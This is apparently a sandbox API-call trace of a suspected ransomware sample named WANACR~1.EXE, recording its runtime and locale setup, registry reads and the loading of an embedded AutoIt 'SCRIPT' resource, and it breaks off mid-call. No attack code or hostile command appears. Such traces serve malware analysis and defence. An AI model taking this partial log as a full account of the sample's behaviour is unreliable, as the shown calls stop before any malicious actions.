pagefile_backed name = "pagefile_0x00000026ab470000" filename = "" Thread: id = 136 os_tid = 0x890 [0034.756] GetStartupInfoW (in: lpStartupInfo=0x26a4a7f720 | out: lpStartupInfo=0x26a4a7f720*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0034.756] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ffe2a640000 [0034.756] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsAlloc") returned 0x7ffe2a643de0 [0034.756] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsFree") returned 0x7ffe2a643ea8 [0034.756] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsGetValue") returned 0x7ffe2a64165c [0034.756] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsSetValue") returned 0x7ffe2a64164c [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="InitializeCriticalSectionEx") returned 0x7ffe2a6434d0 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateEventExW") returned 0x7ffe2a65bba4 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSemaphoreExW") returned 0x7ffe2a6f8b10 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadStackGuarantee") returned 0x7ffe2a644020 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolTimer") returned 0x7ffe2a64415c [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolTimer") returned 0x7ffe2cb4ac78 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7ffe2cb93808 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolTimer") returned 0x7ffe2cb4ba8c [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolWait") returned 0x7ffe2a64a4e8 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolWait") returned 0x7ffe2cb97284 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolWait") returned 0x7ffe2cb926cc [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlushProcessWriteBuffers") returned 0x7ffe2cbb7300 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7ffe2cb96e94 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentProcessorNumber") returned 0x7ffe2cbb6190 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLogicalProcessorInformation") returned 0x7ffe2a644780 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSymbolicLinkW") returned 0x7ffe2a71d040 [0034.757] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetDefaultDllDirectories") returned 0x7ffe2a148320 [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="EnumSystemLocalesEx") returned 0x7ffe2a71d1c0 [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CompareStringEx") returned 0x7ffe2a6443cc [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetDateFormatEx") returned 0x7ffe2a71d2b8 [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLocaleInfoEx") returned 0x7ffe2a644060 [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTimeFormatEx") returned 0x7ffe2a6f8fc0 [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetUserDefaultLocaleName") returned 0x7ffe2a644050 [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsValidLocaleName") returned 0x7ffe2a6441d0 [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="LCMapStringEx") returned 0x7ffe2a643fe0 [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentPackageId") returned 0x7ffe2a07c850 [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTickCount64") returned 0x7ffe2a641678 [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0034.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0034.759] GetCurrentThreadId () returned 0x890 [0034.759] GetStartupInfoW (in: lpStartupInfo=0x26a4a7f710 | out: lpStartupInfo=0x26a4a7f710*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x7ff756b50000, hStdOutput=0x7ff756b81560, hStdError=0x26a4b15510)) [0034.759] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0034.759] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0034.759] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0034.759] GetCommandLineW () returned="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" [0034.759] GetEnvironmentStringsW () returned 0x26a4b164a0* [0034.759] FreeEnvironmentStringsW (penv=0x26a4b164a0) returned 1 [0034.759] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ff756c30a60, nSize=0x104 | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0034.760] GetLastError () returned 0x0 [0034.760] SetLastError (dwErrCode=0x0) [0034.760] GetLastError () returned 0x0 [0034.760] SetLastError (dwErrCode=0x0) [0034.760] GetLastError () returned 0x0 [0034.760] SetLastError (dwErrCode=0x0) [0034.760] GetACP () returned 0x4e4 [0034.760] GetLastError () returned 0x0 [0034.760] SetLastError (dwErrCode=0x0) [0034.760] IsValidCodePage (CodePage=0x4e4) returned 1 [0034.760] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x26a4a7f680 | out: lpCPInfo=0x26a4a7f680) returned 1 [0034.760] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x26a4a7f120 | out: lpCPInfo=0x26a4a7f120) returned 1 [0034.760] GetLastError () returned 0x0 [0034.760] SetLastError (dwErrCode=0x0) [0034.760] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x26a4a7f140, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.760] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x26a4a7f140, cbMultiByte=256, lpWideCharStr=0x26a4a7ee20, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿㅂ舵恮") returned 256 [0034.760] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿㅂ舵恮", cchSrc=256, lpCharType=0x26a4a7f440 | out: lpCharType=0x26a4a7f440) returned 1 [0034.760] GetLastError () returned 0x0 [0034.760] SetLastError (dwErrCode=0x0) [0034.760] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x26a4a7f140, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.760] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x26a4a7f140, cbMultiByte=256, lpWideCharStr=0x26a4a7ee10, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0034.760] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.760] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x26a4a7ec00, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0034.760] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x26a4a7f240, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ[\x01", lpUsedDefaultChar=0x0) returned 256 [0034.760] GetLastError () returned 0x0 [0034.760] SetLastError (dwErrCode=0x0) [0034.760] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x26a4a7f140, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.760] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x26a4a7f140, cbMultiByte=256, lpWideCharStr=0x26a4a7ee10, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0034.760] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.760] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x26a4a7ec00, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0034.760] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x26a4a7f340, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0034.760] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff756b8a98c) returned 0x0 [0034.761] GetVersionExW (in: lpVersionInformation=0x26a4a7f5a0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x2140214, dwMinorVersion=0x3120210, dwBuildNumber=0x2100210, dwPlatformId=0x2140210, szCSDVersion="̒ȐȐȐȐȐ́́́́́́́́́́́́́́́́́́́́́́́Ȑ́́́́騧Ⲹ翾") | out: lpVersionInformation=0x26a4a7f5a0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x3, dwBuildNumber=0x2580, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0034.761] GetCurrentProcess () returned 0xffffffffffffffff [0034.761] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x26a4a7f6e8 | out: Wow64Process=0x26a4a7f6e8) returned 1 [0034.761] GetSystemInfo (in: lpSystemInfo=0x26a4a7f568 | out: lpSystemInfo=0x26a4a7f568*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0034.762] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0034.762] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0034.762] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0034.762] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0034.762] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0034.762] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0034.762] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc14a [0034.763] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0034.763] OleInitialize (pvReserved=0x0) returned 0x0 [0034.783] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0x26a4a7f680 | out: phkResult=0x26a4a7f680*=0x14c) returned 0x0 [0034.783] RegQueryValueExW (in: hKey=0x14c, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0x26a4a7f6e0, lpcbData=0x26a4a7f6b0*=0x8 | out: lpType=0x0, lpData=0x26a4a7f6e0*=0x30, lpcbData=0x26a4a7f6b0*=0x4) returned 0x0 [0034.783] RegCloseKey (hKey=0x14c) returned 0x0 [0034.786] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26a4a5f650, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0034.786] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x26a4a4f600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0034.786] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x26a4a5f650, lpFilePart=0x26a4a6f660 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x26a4a6f660*="WANACR~1.EXE") returned 0x26 [0034.787] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0x26a4a7f710 | out: phkResult=0x26a4a7f710*=0x0) returned 0x2 [0034.789] IsThemeActive () returned 0x1 [0034.789] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0x26a4a7f740, fWinIni=0x0 | out: pvParam=0x26a4a7f740) returned 1 [0034.789] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 0 [0034.790] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x26a4a5f710 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0034.790] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26a4a4f570, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0034.790] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x26a4a3f520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0034.790] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0034.791] GetProcAddress (hModule=0x7ffe2a640000, lpProcName=0x7ff756c1b2d0) returned 0x7ffe2a71dbbc [0034.791] Wow64DisableWow64FsRedirection (in: OldValue=0x26a4a5f580 | out: OldValue=0x26a4a5f580*=0x0) returned 0 [0034.791] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0034.791] GetCurrentPackageId () returned 0x3d54 [0034.791] CreateFileW (lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26a4a5f350, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0034.791] GetFileType (hFile=0x14c) returned 0x1 [0034.791] LoadLibraryExW (lpLibFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0034.791] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0034.791] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0034.791] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0034.791] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0034.792] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x26a4a5f648 | out: ppstm=0x26a4a5f648*=0x26a4b166b0) returned 0x0 [0034.796] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", 